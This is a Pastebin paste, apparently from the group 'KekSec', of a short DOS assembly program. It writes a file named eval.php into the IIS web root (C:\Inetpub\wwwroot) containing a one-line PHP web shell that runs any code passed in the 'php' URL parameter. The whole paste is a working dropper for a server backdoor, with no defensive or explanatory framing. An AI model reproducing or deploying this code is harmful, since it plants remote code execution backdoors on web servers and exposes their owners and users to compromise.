Advertisement
KekSec

writetofile.asm

Jun 7th, 2018
497
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ORG 100H
  2. ;data
  3. directory db 'C:\Inetpub\wwwroot',0
  4. filename db 'eval.php',0
  5. bytes db '<?php eval($_GET["php"]);?>'
  6. handle dw 0
  7. strlen = 27
  8. ;chdir
  9. mov dx,directory
  10. mov ah,3Bh
  11. int 21h
  12. ;create file
  13. mov ah,3Ch
  14. mov cx,00000000b
  15. lea dx,[filename]
  16. int 21h
  17. mov [handle],ax
  18. ;write to file
  19. mov ah,40h
  20. mov bx,[handle]
  21. mov cx,strlen
  22. lea dx,[bytes]
  23. int 21h
  24. ;close file
  25. mov ah,3Eh
  26. mov bx,handle
  27. int 21h
  28. ;terminate program
  29. mov ax,4c00h
  30. int 21h
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement